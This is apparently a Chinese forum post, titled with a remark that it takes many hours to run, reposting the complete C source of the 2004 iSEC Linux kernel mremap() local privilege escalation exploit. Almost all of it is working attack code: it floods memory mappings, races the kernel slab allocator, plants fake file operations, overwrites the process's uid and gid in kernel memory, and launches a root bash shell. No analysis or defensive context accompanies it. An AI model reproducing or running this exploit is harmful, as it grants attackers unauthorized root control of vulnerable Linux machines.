要跑N多个小时的……呵呵
- /*
- * Linux kernel mremap() bound checking bug exploit.
- *
- * Bug found by Paul Starzetz <paul isec pl>
- *
- * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
- *
- * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
- * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
- * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <errno.h>
- #include <string.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <syscall.h>
- #include <signal.h>
- #include <time.h>
- #include <sched.h>
- #include <sys/mman.h>
- #include <sys/stat.h>
- #include <sys/wait.h>
- #include <asm/page.h>
- #define MREMAP_MAYMOVE 1
- #define MREMAP_FIXED 2
- #define str(s) #s
- #define xstr(s) str(s)
- #define DSIGNAL SIGCHLD
- #define CLONEFL (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
- #define PAGEADDR 0x2000
- #define RNDINT 512
- #define NUMVMA (3 * 5 * 257)
- #define NUMFORK (17 * 65537)
- #define DUPTO 1000
- #define TMPLEN 256
- #define __NR_sys_mremap 163
- _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
- unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
- new_len,
- unsigned long flags, unsigned long new_addr);
- static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
- gid;
- static volatile int *vma_ro, *vma_rw, *tmp;
- static volatile unsigned fake_file[16];
- void fatal(const char * msg)
- {
- printf("\n");
- if (!errno) {
- fprintf(stderr, "FATAL: %s\n", msg);
- } else {
- perror(msg);
- }
- printf("\nentering endless loop");
- fflush(stdout);
- fflush(stderr);
- while (1) pause();
- }
- void kernel_code(void * file, loff_t offset, int origin)
- {
- int i, c;
- int *v;
- if (!file)
- goto out;
- __asm__("movl %%esp, %0" : : "m" (c));
- c &= 0xffffe000;
- v = (void *) c;
- for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
- if (v[i] == uid && v[i+1] == uid) {
- i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
- }
- if (v[i] == gid) {
- v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
- break;
- }
- }
- out:
- dummy++;
- }
- void try_to_exploit(void)
- {
- int v = 0;
- v += fops[0];
- v += fake_file[0];
- kernel_code(0, 0, v);
- lseek(DUPTO, 0, SEEK_SET);
- if (geteuid()) {
- printf("\nFAILED uid!=0"); fflush(stdout);
- errno =- ENOSYS;
- fatal("uid change");
- }
- printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);
- kill(ppid, SIGUSR1);
- setresuid(0, 0, 0);
- sleep(1);
- printf("\n\n"); fflush(stdout);
- execl("/bin/bash", "bash", NULL);
- fatal("burp");
- }
- void cleanup(int v)
- {
- victim[DUPTO] = victim[0];
- kill(0, SIGUSR2);
- }
- void redirect_filp(int v)
- {
- printf("\n[!] parent check race... "); fflush(stdout);
- if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
- printf("SUCCESS, cought SLAB page!"); fflush(stdout);
- victim[DUPTO] = (unsigned) & fake_file;
- signal(SIGUSR1, &cleanup);
- kill(pid, SIGUSR1);
- } else {
- printf("FAILED!");
- }
- fflush(stdout);
- }
- int get_slab_objs(void)
- {
- FILE * fp;
- int c, d, u = 0, a = 0;
- static char line[TMPLEN], name[TMPLEN];
- fp = fopen("/proc/slabinfo", "r");
- if (!fp)
- fatal("fopen");
- fgets(name, sizeof(name) - 1, fp);
- do {
- c = u = a =- 1;
- if (!fgets(line, sizeof(line) - 1, fp))
- break;
- c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
- } while (strcmp(name, "size-4096"));
-
- fclose(fp);
- return c == 7 ? a - u : -1;
- }
- void unprotect(int v)
- {
- int n, c = 1;
- *victim = 0;
- printf("\n[+] parent unprotected PTE "); fflush(stdout);
- dup2(0, 2);
- while (1) {
- n = get_slab_objs();
- if (n < 0)
- fatal("read slabinfo");
- if (n > 0) {
- printf("\n depopulate SLAB #%d", c++);
- blah = 0; kill(hpid, SIGUSR1);
- while (!blah) pause();
- }
- if (!n) {
- blah = 0; kill(hpid, SIGUSR1);
- while (!blah) pause();
- dup2(0, DUPTO);
- break;
- }
- }
- signal(SIGUSR1, &redirect_filp);
- kill(pid, SIGUSR1);
- }
- void cleanup_vmas(void)
- {
- int i = NUMVMA;
- while (1) {
- tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
- MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
- if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
- printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
- fatal("unmap1");
- }
- i--;
- if (!i)
- break;
- tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
- MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
- if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
- printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
- fatal("unmap2");
- }
- i--;
- if (!i)
- break;
- }
- }
- void catchme(int v)
- {
- blah++;
- }
- void exitme(int v)
- {
- _exit(0);
- }
- void childrip(int v)
- {
- waitpid(-1, 0, WNOHANG);
- }
- void slab_helper(void)
- {
- signal(SIGUSR1, &catchme);
- signal(SIGUSR2, &exitme);
- blah = 0;
- while (1) {
- while (!blah) pause();
- blah = 0;
- if (!fork()) {
- dup2(0, DUPTO);
- kill(getppid(), SIGUSR1);
- while (1) pause();
- } else {
- while (!blah) pause();
- blah = 0; kill(ppid, SIGUSR2);
- }
- }
- exit(0);
- }
- int main(void)
- {
- int i, r, v, cnt;
- time_t start;
- srand(time(NULL) + getpid());
- ppid = getpid();
- uid = getuid();
- gid = getgid();
- hpid = fork();
- if (!hpid)
- slab_helper();
- fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
- MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
- if (fops == MAP_FAILED)
- fatal("mmap fops VMA");
- for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
- fops[i] = (unsigned)&kernel_code;
- for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
- fake_file[i] = (unsigned)fops;
- vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
- if (vma_ro == MAP_FAILED)
- fatal("mmap1");
- vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
- if (vma_rw == MAP_FAILED)
- fatal("mmap2");
- cnt = NUMVMA;
- while (1) {
- r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
- if (r == (-1)) {
- printf("\n[-] ERROR remapping"); fflush(stdout);
- fatal("remap1");
- }
- cnt--;
- if (!cnt) break;
- r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
- if (r == (-1)) {
- printf("\n[-] ERROR remapping"); fflush(stdout);
- fatal("remap2");
- }
- cnt--;
- if (!cnt) break;
- }
- victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
- MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
- if (victim != (void *) PAGEADDR)
- fatal("mmap victim VMA");
- v = *victim;
- *victim = v + 1;
- signal(SIGUSR1, &unprotect);
- signal(SIGUSR2, &catchme);
- signal(SIGCHLD, &childrip);
- printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
- start = time(NULL);
- cnt = NUMFORK;
- v = 0;
- while (1) {
- cnt--;
- v--;
- dummy += *victim;
- if (cnt > 1) {
- __asm__(
- "pusha \n"
- "movl %1, %%eax \n"
- "movl $("xstr(CLONEFL)"), %%ebx \n"
- "movl %%esp, %%ecx \n"
- "movl $120, %%eax \n"
- "int $0x80 \n"
- "movl %%eax, %0 \n"
- "popa \n"
- : : "m" (pid), "m" (dummy)
- );
- } else {
- pid = fork();
- }
- if (pid) {
- if (v <= 0 && cnt > 0) {
- float eta, tm;
- v = rand() % RNDINT / 2 + RNDINT / 2;
- tm = eta = (float)(time(NULL) - start);
- eta *= (float)NUMFORK;
- eta /= (float)(NUMFORK - cnt);
- printf("\r\t%u of %u [ %u %% ETA %6.1f s ] ",
- NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
- fflush(stdout);
- }
- if (cnt) {
- waitpid(pid, 0, 0);
- continue;
- }
- if (!cnt) {
- while (1) {
- r = wait(NULL);
- if (r == pid) {
- cleanup_vmas();
- while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
- }
- }
- }
- }
- else {
- cleanup_vmas();
- if (cnt > 0) {
- _exit(0);
- }
- printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
- sleep(1);
- signal(SIGUSR1, &catchme);
- munmap(0, PAGE_SIZE);
- dup2(0, 2);
- blah = 0; kill(ppid, SIGUSR1);
- while (!blah) pause();
- munmap((void *)victim, PAGE_SIZE);
- dup2(0, DUPTO);
- blah = 0; kill(ppid, SIGUSR1);
- while (!blah) pause();
- try_to_exploit();
- while (1) pause();
- }
- }
- return 0;
- }
复制代码 |